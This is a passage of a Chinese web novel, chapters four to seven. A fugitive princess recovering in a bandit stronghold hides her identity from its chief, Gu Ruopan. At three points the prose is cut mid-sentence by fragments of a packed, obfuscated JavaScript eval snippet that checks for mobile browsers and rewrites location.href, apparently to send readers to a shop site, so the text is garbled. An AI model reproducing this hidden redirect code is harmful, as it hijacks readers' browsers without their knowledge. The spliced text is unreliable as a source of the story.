等她醒后,她定能和手作系统一起做出叫这人满意的武器...... 李颦晕过去之前,满心只有这一个想法。 4. 第四章 “咕咕咕——!” 李颦在一阵鸡鸣中挣扎着睁开眼睛,入目的是垂着吊幔的床顶,还有一张惊喜的大脸。 她吓得肩膀一缩,倒是把凑到她面前的女子逗乐了。 “小娘子,你终于醒了!”她将手里的刀往地上一扔,伸手去扶李颦,“你足足昏睡了十天,吓得我还以为你再醒不过来了。” 李颦捂着胸口轻咳,哑着嗓子小声地说:“多谢侠女守......” 这女子挥着手哈哈大笑,“要不怎么说你们这长得好看的娘子,说话也好听呢,我都成侠女了!” “你不用跟我客气,我叫柳红豆,是黑风寨的三当家,你看起来小小的,唤我红豆姐姐就行了。” 柳红豆用手挠李颦的下巴,英挺的眉头上挑,一双灿若星辰的眼里都是风情,“来,叫一声姐姐听。” 李颦被她逗得脸颊上染了红晕,嘴唇噏动,嗡着声音低唤了声:“......红豆姐姐。” “唉!”柳红豆嘹亮地应她,搂着李颦的肩膀笑眯眯地说:“难怪他们男人都喜欢娇滴滴的女子,被你柔着嗓子叫一声,替你上刀山下火海也甘愿啊!” 李颦有些尴尬地抿着嘴巴干笑,觉得柳红豆说话好夸张。 “娘子,你叫什么啊?”柳红豆介绍完自己,探身好奇地问李颦。 李颦又咳了几声,“我名唤李颦。” “哪个李,哪个颦?” “木子李,‘蛾眉不可妒,况乃效其颦’的颦。”① 柳红豆挠挠头,耸着肩膀说:“听不懂。” “算了,我又不识字,不用听懂,知道怎么叫不就得了。” 她挥挥手,似想起什么,风卷残云般走到桌边倒了杯温水,递给李颦,“颦儿妹妹,快喝吧。” “多谢红豆姐姐,咳咳咳......” 李颦嗓子正干,接过水有些急切地喝着,一时呛到,忍不住咳嗽。 柳红豆见状替她拍背顺气,好一会儿李颦才缓过来。 她靠在床榻上,有些难为情地开口问:“红豆姐姐,你可知我妹妹在哪儿?” “噢,你妹妹是寨主带回来的另一个小丫头吧?她的伤在肩膀,比你严重很多,现在还没醒呢。” 李颦呼吸变得浅而急促,身体前倾问柳红豆:“我可以去看看她吗?” 她实在有些担心。 枝玉是她从宫里带出来的,若是跟着她有个三长两短的,还不如在宫里时假意赶她去掖庭,也比丢了命强。 若她不好,李颦真真会后悔愧疚。 “行,反正现下你醒了,我拖你过去瞧瞧。” 柳红豆从厢房里头推了个辇车过来,这辇车是个带轮子的木头椅子,上面还铺着雪白的狐狸毛当垫子。 “看着我做什么,这个啊,是我们寨主给你安排的。”柳红豆一把将李颦抱起来,在她瞪大的双眼下,将她稳稳地放在了辇车里做好。 李颦还从未被哪个娘子这般横抱过,见柳红豆一身的力气,抱起自己一点不打颤,有些羞意地红了脸。 “多谢红豆姐姐......” 柳红豆探身瞧她,看李颦俏生生的脸,忍不住伸出手轻掐住她的脸颊,揪了两下。 “你刚醒就跟我说了几次谢谢了?不用这么客气,你是寨主带回来的人,寨里便会善待你,我们黑风寨很好的!” 李颦不可置否地笑了下,这可是土匪寨,哪有什么好人...... 她也不过是与那个鬼面寨主利益交换,他救她和枝玉,她为他用手作系统做武器,仅此而已。 枝玉住着的厢房就在李颦隔壁。 李颦被柳红豆推着过去,刚推开门便瞧见枝玉苍白着脸安静地睡在床榻上,她床榻边还围着好几个年纪看起来不过八九岁的小娘子,高一些的可能也才十一二岁吧。 她们听到动静,扭头瞧是柳红豆来了,都在那个个子高些的娘子领头下朝柳红豆走过来,笑着喊她: “三当家的,我刚刚喂这位娘子喝过药了,我今天可是一滴药都没漏!” 那个大些的孩子来邀功,柳红豆笑眯眯地摸她的头,“静娘,你乖,今日我叫厨房多给你做个大鸡腿。” “还有我,我还给娘子擦汗了。” “我给娘子换过里衣。” “我......我给娘子掖被子了......” 柳红豆不偏私,挨个摸小娘子们的脑袋,很是宠溺地答应:“行,你们帮寨里做事,通通都有赏,出去玩吧。” 几个小娘子很高兴地手牵着手跑了出去。 李颦静静地看着眼前的一切,内心里有股诡异之感。 她在今天之前并不知道土匪寨是什么样子的,只凭借着关于土匪的传言,以为个个土匪都该是衣衫褴褛,刀疤满身,刀枪不离手的凶蛮之人,住的也该是破屋杂草处,过着抽人筋、剥人皮的舔血日子。 可今日从她睁眼的那一刻,一切都叫她的认知发生了翻天覆地的改变。 她见到的是干净整洁的房舍,明媚开阔的院子,还有爽朗飒气的匪寨头头之一,这几个神情天真的小娘子,更是叫李颦面露诧异。 这真的是土匪寨吗? 柳红豆看到李颦的表情,噗嗤一声笑出声,边推着她往前走,边稀松平常地说:“那几个小孩叫静娘、云娘、棠娘,月娘。” “一个要被家里人卖给快死了的财主当冲喜新娘,一个要被卖青楼去,还有两个都是家里想要儿子,生下来是个丫头,没养几岁就被扔了的。” “几个丫头都是我们出去打劫的时候,瞧着可怜带回来的。” 果然还是要打劫杀人的...... 李颦的眉头刚松开又皱起,嘴角想维持微笑却忍不住下压,几种情绪在面上交替,最后只能露出一个难以描述的奇怪表情。 柳红豆知道她在想什么,她也不指望这种娇娇小娘子理解山寨,但她却也不想让李颦误会黑风寨是什么多差劲的地方。 “我们黑风寨虽然打劫杀人,但是打劫的都是财主权贵,杀的都是想欺负我们山寨的其他寨匪,我们这叫盗什么有盗来着?” 李颦的身体微微往后靠,脑袋小幅度地无奈摇头,“盗亦有道。” “对!就是盗亦有道。”柳红豆抚掌而笑,“我们寨主是大英雄,拂云山周边的哪个村落没得过他顾若磐的照拂,寨主定下过死规矩,老少妇孺皆不能欺,寨中只要有一人破了这规矩,他会亲手砍下那人的脑袋挂在寨子门口示众。” “你啊,颦儿妹妹,你多和我们寨主相处就知道他不坏了。” 李颦不知为何柳红豆会与她说这么多黑风寨的事,虽她依旧对山寨持警惕态度,但心里确实少了些许排斥。 她抛下心中所想,被柳红豆推到枝玉的床榻边后,探身去摸枝玉的额头,确实不再发热,虽面上苍白,但是呼吸平稳顺畅。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029355|194511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “颦儿妹妹别担心,你妹妹虽然伤得比你要重些,但是大夫说了,每日按时给她喝药擦药,过不了几日就能醒过来的。” 李颦听到柳红豆的话,她一直微蹙的眉头总算是彻底舒展,露出了真情实意的灿烂笑容。 “红豆姐姐,真的谢谢你。” 她不过展颜一笑,竟比开得最盛的蔷薇还要艳色逼人,绚丽得叫人不敢直视却又难以移开目光。 柳红豆呆呆地看着她,迟疑了几息,突然说:“我倒是没做什么,颦儿妹妹就算要谢也该谢我们寨主。” 她心下暗自做了个决定,一定要让寨主把李颦留下来! 顾若磐在柳红豆心里那可是比亲大哥还要亲的人,这几年雍州出色的娘子,她觉得没有一个能配得上顾若磐的,可今日她觉得李颦就很好—— 李颦是她见过一面就惊艳的娘子,说话温温柔柔,一举一动中自带端庄大气,昨日里竟还能求了寨主带她们姊妹回来,也算是一个有勇之人。 这样一个长相出众,聪慧温柔的女子,雍州这些年可没见过一个,正是可遇不可求啊! “你瞧,我们寨主在哪儿呢,你自去道谢吧。” 柳红豆暗自琢磨,手脚也没闲着,硬是将李颦给推到了院子西边,将辇车停稳,小声地俯在李颦耳边说:“你和我们寨主好好聊聊吧,一会儿用饭的时候再来喊你啊。” 她自己倒是鸡贼地跑了。 李颦的呼吸变得极轻、极慢,最后险些屏气,她下意识地咬住下唇,一动不动地坐在辇车上,生怕惊动了背对着自己,往身上淋水的顾若磐。 冬日正午的阳光毫无保留地倾倒下来,在站着的顾若磐身上镀上毛茸茸的金边。 他上身未穿衣服,头发被他随意的拨在身侧,左手拿着水瓢从缸里舀凉水,举起就往头上和身上淋,水珠被阳光映照成金色,顺着他坚实的臂膀和收紧的腰线,隐没到他的裤腰里。 顾若磐宽肩窄腰,肌肉饱满但纤长,手臂用力时每一寸肌肤的线条都利落分明。 他的身体好似会呼吸,手臂抬起放下的动作都能看到青筋血脉的鼓动。 李颦不受控制地咽了下口水。 她突然觉得有点饿了。 想吃肉。 李颦忍不住后撤了下后背,辇车发出轻微的响声,惊动了站着淋水冲澡的顾若磐。 “谁?” 李颦很想扭头避开,可回身望过来的顾若磐叫她完全移不开目光,眼神直直地、有些呆愣地看着他。 她这才明白顾若磐之前说她“长得丑,想得美”是什么意思。 因为真正美貌之人竟是他这个山寨头头。 顾若磐没有戴那张鬼面面具。 他竟是个男生女相的样貌,眉眼风流婉转,细长的鼻梁高挺,下颌线如刀削般清晰却不见锋利棱角,嘴角微扬,不笑都似含情。 这样一张绝色美貌的脸配上他一身如山脉雕刻成的健硕身躯,却古怪的和谐。 顾若磐见是李颦,将手里的水瓢往缸里一扔,溅出的水洒到了两人的鞋面上。 这般动静都没唤回李颦呆愣的神情,顾若磐修长的眉皱起,语气不善地说: “看什么,你对我的脸有意见?” 他走上前,俯身对上李颦的双眼,用手挑起李颦的脸,有些粗糙的虎口抵着她的下巴,眯着眼睛吓唬她。 “再盯着我看,我就把你的眼睛挖出来。” 5. 第五章 顾若磐被水浇湿的头发垂落,冰凉的发梢扫在李颦的手背上,有两滴水在她指尖泛起涟漪。 李颦手指轻颤,回过神,快速地眨眼,将目光从顾若磐的身上移到地面。 “没有,我刚去妹妹那儿,正要回我的厢房,多谢顾寨主相救。” 李颦轻挥掉他捏着自己下巴的手。 答非所问。 顾若磐撑在李颦坐着的辇车两边,喷张的肌肉险些挨上她的脸。 他就这样大刺刺地将李颦圈在自己和辇车中间,皱眉直视李颦的双眼。 “你不敢回答我,心里有鬼?” 李颦只觉得自己全身发麻,轰的一下,潮红从耳根蔓延到脖颈,眼瞳不停地转。 她真的是太尴尬了。 难道让她回答顾若磐,说她看到他的脸和身材忍不住流口水么,这怎么可以! 但是偏偏这人没有一点儿眼力见,非要问个明白。 顾若磐瞧着李颦通红的面颊,也不用她再多说什么——她与别的小娘子也没甚不同,看了他的脸就会要死要活地想嫁给他。 “我知道了。” 李颦半张着嘴,疑惑地看向顾若磐。 他知道什么了? 她还什么都没说啊…… “你别想着什么救命之恩以身相许,本大爷不吃这一套。”顾若磐冷冷地开口:“收起你的花肠子,好好给我造器,做得不好,我照样把你和你妹妹赶出去。” 这下子,李颦全身上下没有一处不红。 她是被气红的! “顾寨主也只是两只眼睛、一张嘴巴的凡人,跟旁人并没有什么不同,既然我与寨主达成过交易,寨主救我们姐妹,我给寨主制器,那便没有以身相许一说,我也没兴趣做压寨夫人!” 顾若磐这人说话真是气人得紧,李颦快言快语地怒声说道,可见到顾若磐挑眉,眉尾飞起的模样,又觉自己说话有些冰冷。 跟这莽夫有什么可计较的。 如今自己在他的地盘上,适当示弱,少说话、善做器,养好伤便继续赶路,这才是她该做的。 “不过是天寒地冻,顾寨主上身脱却衣衫,站在院中用凉水浇身,恐惹风寒,叫人吃惊罢了。” 李颦瞥了他一眼,理所当然地说:“寨子里还有好些娘子在,有道是男女授受不亲,终归是影响不好。” 李颦故意半是蜜枣半是榔头的话听着倒也不算刺耳。 顾若磐拖长了音“噢”了一声,举起手后退两步,可他极黑的瞳孔依旧锁定在李颦的身上,锐利地像只盯紧猎物的豹子。 “风寒......娘子倒是心善,很会关心人。” 李颦头一遭有无语凝噎之感,黑风寨的寨主是不是有什么特殊耳力,可以选择性地听别人说的话。 她僵硬着脸笑笑,只觉与顾若磐说话牛头不对马嘴,也再懒得解释,“红豆姐姐与我说快要开饭了,我也该过去找她,顾寨主请便吧。” 李颦说罢自己去推辇车的轮子,想离开这里。 可她如何推,轮子都纹丝不动。 她皱着眉低头去瞧,耳边却传来一声极低的轻笑。 “就你这样推,几时才能到饭堂?” 下一刻,李颦便连人带辇车的被抬了起来。 李颦本能地抓住身后那人抬着辇车的胳膊,整个人贴在辇车上一动不动,不住地吸气。 她是被吓的。 “这会儿倒是不讲什么男女授受不亲了?” 李颦掌心下抓住的胳膊因为用力鼓起的肌肉又热又硬,她像被烫了一下般地缩回手,改握住辇车的扶手。 “我自己能行,顾寨主可以放我下来......”李颦咬着下唇说。 顾若磐垂眼瞧她,刚刚李颦那双手用力地指尖都泛白,再在车轮杠上搓两下,就要被翘起的木头刺给划伤。 小娘子什么的,实在娇气。 他既然救了她,自然不能让李颦在寨子里受伤,就算是不小心划伤手也不行。 “哼。” 顾若磐却不做解释,只哼笑一声便不再言语。 他在李颦背后抬着辇车,脚步稳健地大步朝院子外走,他的胸膛隔着辇车的靠背离李颦极近,淡淡的皮革味直往李颦鼻子里钻。 李颦恍惚间觉得被顾若磐抬着的辇车,比宫里她坐过的步辇还要稳当。 顾若磐的鼻息吞吐在李颦的头顶,像是兜头浇下的沸水,让李颦的脸上不住地冒出氤氲热气。 这会儿的脸红,还真是李颦羞赧所致。 饭堂离院子有些距离,可顾若磐抬着辇车和李颦丝毫不费力。 真是不知这个黑风寨的人都吃什么长成这样的,男男女女都有怪力。 不过一会儿,李颦就能见识到了。 她被顾若磐圈着给抬到了饭堂。 里头百来号的人原本吵吵闹闹地在说话,见两人来了,齐刷刷地扭头望过来,瞬间便寂静。 不知是谁怪叫了声,接着这些人面上又是兴奋又是揶揄地高呼—— “寨主勇,寨主俊,寨主抱得美人归!” “恭迎寨主和寨主夫人!” “祝寨主和寨主夫人永结同心,百年好合!” 明显黑风寨的土匪们都误会了李颦和顾若磐。 李颦急得直摆手,脸颊憋得生红,语速很快地否认:“我不是,你们想错了......” 只是可惜她声音再大也被那些土匪们的嘶吼给压了下去。 顾若磐面上没什么表情起伏,仿佛没听到寨里弟兄们的呼声,任由李颦一个人着急解释。 他将李颦稳当地放到长桌后,倚在她坐着的辇车后背,歪着脑袋欣赏李颦焦急的样子,李颦皱起眉扭头望向他时,他还朝着李颦勾起嘴角笑。 恶劣得不行。 “顾寨主,你不该跟你的兄弟们好好解释一下吗?” 李颦咬牙切齿地说,脸上满是假笑。 顾若磐观赏完了李颦面上的窘迫,满意地拍了下她的辇车扶手。 “都闭嘴。” 他不过冷下脸,扫了一眼饭堂里的人,说话声连刚刚李颦声音的一半都没有,可饭堂里所有的人都不敢再造次,偃旗息鼓地归位,都坐在属于自己的位置上。 李颦见顾若磐朝长桌的那头走去,期间有个人起身给他披上了衣服,是一件黑熊皮做的披风。 他跨过长凳,一手撩起披风,两腿岔开比肩宽,支起一条腿沉坐在凳上,他的肘支在膝盖上,身体前倾,眼神似刀,直直朝李颦劈过去。 “你们都给本大爷仔细听着。” “这个小娘子。”顾若磐用撑着额头的手指向李颦,“是我的贵客。” “任何人都不许冒犯她,还有她的妹妹。” 李颦原本潮红的脸退却了不自然的红晕,听到顾若磐的话,眼神带了些吃惊地望向他,倒被他眼里的认真看得心悸。 “凡被我知晓谁在她们姐妹面前污言秽语,手脚不干净,一律寨规处置。” “是了,弟兄们该知道寨主的规矩,坏了规矩之人是要被寨主砍头,挂到寨门口三天三夜的,你们可听到了?” 柳红豆带着那几个小娘子笑吟吟地从饭堂的侧门走进来,小娘子们将手里的饭菜放到了长桌上,牵着手高兴地跑到了旁边那个小些的圆桌子前坐下。 “是,三当家的,兄弟们不敢,一切都听寨主的!” 百来号人齐声答,声音高亢得要把饭堂的房顶都给掀翻了。 柳红豆点头,双手举到脸侧拍了两下,“每桌派两个人去张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029356|194511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婶子那里端饭菜,今天依旧肉管够!” “好哇!” 饭堂很大,最中间是顾若磐所坐的长桌,四周摆放着圆桌,黑风寨也不讲究分榻而食,每张桌子上都围坐着八到十人,而只有那张长桌上只坐着顾若磐、柳红豆还有李颦。 “颦儿妹妹,愣着做什么,快吃吧,你伤筋动骨的,要多吃肉,多喝汤。” 柳红豆吩咐完寨里的兄弟们,转头挨着李颦坐下,招呼她吃东西。 李颦抿着嘴笑,很秀气地捏起勺子舀汤喝。 她算是知道黑风寨的人怎么力气都那般大了,她眼前的吃食里全部都是肉——鱼肉、猪肉、鸡肉、牛肉、羊肉都有,除了这些还有大补的蹄花,她喝的汤都是鸽子汤。 桌上连一道素菜都没有。 李颦用余光瞧其他桌的饭菜,全部都和这方长桌上的菜色一模一样,桌前的个个人都吃得津津有味。 早前照顾枝玉的那几个小娘子的桌上也真的各个碗里都多了个大鸡腿。 黑风寨里吃的比大梁一般的富户家里都要好。 李颦吃也不是,不吃也不是,总觉得自己吃的这些肉,都是黑风寨打劫来的...... 柳红豆见到李颦慢慢停滞的动作,夹起一筷子牛肉大快朵颐,摇着头笑叹道:“寨主,这用拂云山里头挖的东西买卖来的饭菜就是香!” 李颦愣了下,抬眼看向柳红豆,见她朝自己眨眼睛,李颦顿时窘态地捧起碗喝汤,企图掩盖自己被人看穿心思的害臊。 “浮夸。” 顾若磐瞥向对面那个举碗挡脸的小娘子,嗤笑了下,白了柳红豆一眼。 他本来就不是好人。 没什么不能被误会的,最好这个傻里傻气的娘子怕了他,离他远些才好。 柳红豆不怕顾若磐,对着他挤眉弄眼,做了个鬼脸后问他:“大江哥哥今日怎么还没回来?” 李颦悄悄看过去,这张长桌上确实还空着一个位置。 黑风寨的寨主和三当家都坐在这里,偏偏少了个二当家的,柳红豆嘴里的大江哥哥定是黑风寨的二当家。 顾若磐喝了口汤,挑眉看向柳红豆,“他去老铁那里给我磨刀去了,怎么,想他了?” 柳红豆面露娇羞,“哪有......” 不过说曹操曹操到,一声舒朗的笑声传进饭堂。 “哈哈,寨主,我老孙可给你把刀磨得锃光瓦亮。” 这人提着长刀而入,青色的长袍被室外的寒风吹得鼓起,却丝毫没吹冷他脸上从容的笑意。 坐着的黑风寨土匪都站起身对着他高喊——“二当家的回了!” 他挥挥手,迈着大步,径直朝顾若磐走去,哐的一声将刀放在长桌上,把李颦碗里的汤都震洒了几滴。 李颦捏着筷子的右手短暂凝滞片刻,极轻地摇头,拿出帕子擦手。 黑风寨的人就算是看起来文雅的二当家,行为举止也莽里莽气,一身怪力气! “寨主,你猜我今日在山下听到什么了?” “有话快说,有屁快放。” 这二当家叉着腰,伸手要去拿顾若磐盘里的鸡腿,手背猝不及防地被顾若磐用筷子给抽了下,顿时留了两道红印子。 他也不生气,笑着坐到自己的位置上,翘着腿说:“冯老头子说京城里乱套了,狗皇帝的女儿不见了,就是那个名动大梁的端柔公主。” “据说是不愿意去戎狄和亲,所以私逃出宫的。” 他冲顾若磐扬了扬下巴,“你听到这消息难道不高兴?” 当啷——! 李颦手里的筷子没拿稳,她要去捡,衣袖却将面前的汤碗给带倒了。 长桌上的三个人都看向她。 李颦心如鼓擂,因为她就是端柔公主。 6. 第六章 狗皇帝...... 就算央帝是个无用的君主,但大梁也无人敢这般称呼他。 可黑风寨的二当家就这样毫不避讳地直言,还说公主逃婚的消息会叫顾若磐高兴。 黑风寨和皇家有仇吗? 可她从前在宫里根本没听过黑风寨。 “颦儿妹妹,你没被烫到吧?” 柳红豆忙掏出帕子要给李颦擦手,半道却被穿着青色长袍的男子把帕子给抽走了,反倒换了自己的旧帕子给柳红豆。 柳红豆羞涩地接过,低着头和李颦一起擦拭桌面。 顾若磐见孙江把柳红豆的帕子塞自己衣襟里,嫌弃地切了一声。 装货。 孙江却注意到李颦,眯着眼睛咦了声:“这位娘子醒了?” 他抱拳向李颦介绍自己:“鄙人姓孙,名江,是黑风寨的二当家。” “坐上头的是我们寨主,顾若磐。”他又指向柳红豆,语气轻柔了许多,“她便是我们黑风寨的三当家,柳红豆。” “还不知娘子怎么称呼,又是为何独自上了拂云山?” 李颦还在犹豫的时候,柳红豆接话却很快——“颦儿妹妹的全名叫李颦,妹妹说了是木子李,‘蛾眉不可妒,况乃效其颦’的颦。”① “我虽不懂,但是我记性一等一的好!”柳红豆用肩膀轻轻撞了下李颦,笑眯眯地说:“我没说错吧,颦儿妹妹?” “李?” 孙江看了顾若磐一眼,果真见他抬起眼皮,目光幽幽地望向李颦。 完了! 李颦低着头,牙齿死死咬着下唇,她就不该早早把自己的真名告诉柳红豆。…… “李可是大梁的国姓,人人都该避讳,娘子姓李......?” 孙江微微前倾身子,探究地看向李颦。 李颦深吸口气,心间几经流转,只能对不起护国公了。 大梁的护国公是世袭罔替的公侯,且被圣祖皇帝赐了李姓。 李颦再抬头时,眼里已经盈满了泪光。 她本来就长了张楚楚可怜的娇颜,这会儿又梨花带雨的垂泪,将人的心都要看碎了去。 “二当家的,我确实姓李,也是从京城来的,我......我是逃婚来的!” “你莫非就是......!” 孙江瞬间跳起来,手压在桌上的长刀上,作势要抽出来砍向李颦,只是李颦接下来的话让他也忍不住心生怜悯。 “我是京城护国公府上不受宠的孙女,我家先祖是被圣祖皇帝赐了国姓的,我娘亲早早地去了,爹爹是个在府上说不上话的儿子,我们父女两个不过是府上最低的存在,宫里下了圣旨,要我们家出个女儿做端柔公主的陪嫁,一起嫁到戎狄。” 说着李颦便呜呜地哭了起来,“祖父舍不得其他姐姐们,就舍了我,我爹爹也没有法子,只叫我安心等着陪侍公主殿下嫁去戎狄,我不愿意,可没人能帮我。” “我只能寻了借口出府,摆脱掉监视我的人,才带着妹妹一路逃了出来,若不是仰仗顾寨主和红豆姐姐相救,我和妹妹恐怕已经死在了荒郊野岭里。” 李颦用帕子捂着脸,泪眼模糊地瞥向孙江的手,只见他的手终于从那把长刀上松开,她才松了口气。 护国公家的五娘子,实在是对不住了,先用你的身份糊弄下吧。 “我所说的句句属实,只求顾寨主、二当家和三当家的千万别将我们姐妹的所在透到京城里,我们养好伤马上就走,必不会给寨里带来麻烦。” 孙江垂眼看向长桌,端起汤碗就一口把鸽子汤给闷了,砰的一下把碗给摔到了地上。 他仰头长叹:“造孽啊!大梁如今已经到要卖女求荣了啊!狗皇帝和他的狗官真不是东西!” “颦儿妹子,你也可怜,你没有娘,那个爹......没用的爹也就当没了吧,你就安心住在我们黑风寨,我们寨里有钱,多养个你和你妹妹绰绰有余!” “你说是吧,寨主?” 孙江腿一撩,凑到顾若磐身边,用肩膀拱顾若磐的胳膊。 顾若磐往长凳后靠,面无表情地看着李颦。 看着她那双哭红的眼睛,和睫毛上挂着的晶莹泪珠。 他唔了声,算是应下。 可他面上虽说平静无波,眼神却幽暗似不见底的深潭,唯独映照着李颦的眉眼。 不得劲。 他心里有些不得劲。 顾若磐啧声,甩掉手里的筷子,站起身大步走出了饭堂。 他离开的脚步迅猛,身后的披风猎猎。 不过几步的功夫,饭堂里便不再见顾若磐的身影。 众人都有些摸不着头脑,孙江拍了拍柳红豆的肩膀,“红豆你劝一下颦儿妹子,我去看看寨主。” “大江哥哥你去吧。”柳红豆搂着李颦,对着孙江点头。 李颦吸了下鼻子,用帕子沾泪,嗡着声音,可怜兮兮地问柳红豆:“红豆姐姐,可是我惹顾寨主生气了?” “顾寨主和陛下......和皇家有过恩怨吗?” 柳红豆叹息一声,安抚李颦:“颦儿妹妹莫怕,寨主他一言九鼎,答应你留下就不会赶你的,他不是生你的气,只是恨大梁动荡,恨狗皇帝无用,更恨皇家欺凌百姓。” 李颦怯怯地垂头嗯了声,心里也在叹息。 柳红豆这个三当家的,看起来大咧,关键时候嘴却很严,李颦打听不出来顾若磐的事情。 顾若磐若真跟皇家有嫌隙或者瓜葛,此地也不可久留。 看来她得快些用手作系统做出武器,让顾若磐满意,她也能在身份暴露之前,早点带着枝玉离开这里。 “红豆姐姐,你可知顾寨主平日里惯用什么武器?” “妹妹问这个做什么?” “寨主救了我,我承诺过要做个好武器给他,当作报答他的救命之恩。” “颦儿妹妹竟然会做武器?!” “嗯......” “这样啊......寨主他......” 噔——!噔——!噔——! 孙江推开顾若磐住着的屋子门,脚刚要往里面迈,险些被扔在地上的披风给绊倒。 他无奈地弯腰捡起披风搭在架子上,只见顾若磐光着上身,斜靠在狐毛卧榻上甩飞镖玩。 一枚一枚的飞镖被顾若磐直直钉入墙里,他胳膊上鼓囊起的肌肉,和甩飞镖的力道,都表示他此刻很不爽。 孙江也拿起散落在矮桌上的飞镖,跟着顾若磐一起扔,不过他功夫一般,飞镖连墙都没挨上,哐当一下掉到了地上。 “我还以为你听到端柔公主逃跑会很高兴,现在的狗皇帝只有这一个公主,公主跑了不能和亲,戎狄可不会放过皇家,看皇家倒霉,你不是应该当饮三大白,好好庆祝一番?” 顾若磐阴冷地勾起唇笑,“此公主非彼公主。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029357|194511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 孙江耸耸肩,摊着手说:“哪又如何,皇家的公主不都一个样,养尊处优,恃强凌弱,想杀人便杀了,不管哪个公主私逃出宫,不都是要被扒一层皮的,说不定‘此公主’早就死在外面了,而你说的‘彼公主’总有一天会和皇家一起死翘翘。” 养尊处优,恃强凌弱。 顾若磐闭起双眼,耳边好似又传来母亲的喊叫声——“阿磐,跑!不要管娘!跑走了就再也不要回来!” “活下去!我的儿,你永远不要像娘一样,你一定要好好活下去!” 那个坐在用黄金做成的马车里的高贵人儿,透过薄纱,他都能瞧见她额前垂落着的碧绿色宝石,还有涂着鲜红蔻丹的手指。 那只手轻轻一挥,他的母亲便没了性命。 他目眦欲裂地哭喊,却看到马车里的人半撩起车帘,露出那双上挑的凤眼,轻蔑又不屑地说:“把那小畜生给本公主就地处死,杀了这母子二人的,本宫保他升官加爵。” 这人说罢便在宫女太监的簇拥下,坐着黄金马车离开了长街。 漆黑的雨夜,冰凉急骤的暴雨打在顾若磐还年幼的身子上。 他跑了,用尽全部的力气跑了。 但他永远记住了冬夜冰冷的雨水,母亲倒在血泊里的身影,还有那个要置他和母亲于死地的人。 顾若磐冷笑,睁开眼,将手里的飞镖随意往桌上扔,兴致缺缺地撑着脑袋说:“不说这个,我还真有一事要问你。” 孙江见顾若磐表情严肃,以为是寨子有什么重大的事,忙自个儿搬了凳子坐过来,“寨主请说。” “你说,一个人摸你的手,摸你的胳膊,还要靠在你的胸膛前,是什么意思?” “啊?” 孙江目瞪口呆,怎么也想不到顾若磐要问的是这个,这算什么事嘛! 顾若磐踹了他一脚,催他:“说啊,你平日里天天和红豆眉来眼去的,不是最懂这个?” 孙江摸着下巴,嘴里啧啧出声。 “寨主你问的是个小娘子?” 顾若磐拿起靠枕砸孙江,“你不废话吗?” “寨主别急嘛......”孙江暗自点头,抱着靠枕贼兮兮地看向顾若磐,“现在的小娘子都很矜持的,就算是红豆这般大气侠义的好女子,也讲究着,若是有小娘子主动摸你的手,还靠在你伟岸的胸膛上......” “你要死。” 孙江说罢还探出手朝顾若磐的胸膛而去,当然被顾若磐截住,孙江讪笑,揉着被他捏青了的拳头。 “不用想别的,这小娘子定是爱慕寨主,情难自控!” 顾若磐挑眉,手脚舒展开,仰躺在狐毛卧榻里,低垂的眼睛被他乌黑长密的睫毛遮住了神情,嘴角却微勾。 果然如此。 李颦定是极爱慕自己的。 不然为何那日在拂云山要摸他的手,还蹭他的胸膛,今日还红着脸摸他的胳膊。 旁的娘子见了他最出格的也不过是朝他掷些瓜果,或者故意丢荷包手帕给他。 而李颦那般胆怯的小娘子鼓起这样大的勇气,怎么不是爱惨了自己...... 这一切果真都有迹可循。 顾若磐那张过度俊美的脸上浮现出一丝难见的忧愁。 他该怎么做,才能又不伤害李颦这个可怜的小娘子,又能叫她放弃了爱慕自己的心思呢...... 可真愁啊。 7. 第七章 “寨主,你说的这个小娘子是谁啊?” 孙江很好奇,凑到顾若磐身边问。 顾若磐瞥他一眼,将孙江推开,“少打听。” “不过那小娘子说的话,你可信?” 孙江暗自重复顾若磐的话,好半晌才反应过来他说的是李颦的身份。 “人都在咱们黑风寨了,她是谁也无从考究。” 顾若磐的手肘搁在膝盖上,食指轻轻敲着,思考了一瞬才开口:“派两个弟兄去京城一趟。” 孙江倒吸一口凉气,瞪大眼睛说:“你不是发誓再也不会回京城的吗?” 顾若磐向看白痴一样看向孙江,“所以本大爷让你找两个人替我去。” “去一趟探查护国公府是不是少了个小姐。” 孙江点头领命:“是。” “不过搞了半天,你其实还怀疑她啊?颦儿妹子看着娇滴滴的,不像是会说谎的样子。” 顾若磐听孙江这样形容李颦,忍不住皱起眉头,“你跟她很熟吗?” 孙江赶忙摆手,边说话边跳着起身,“不不不,哪里能比得上你呢,她又是摸你的手,又是摸你胳膊的,还是你们更熟。” 他话音刚落,飞镖就钉在了他的脚边,他笑嘻嘻地左躲右闪。 顾若磐刚刚那些莫名其妙的问话,一定是因为李颦妹子! 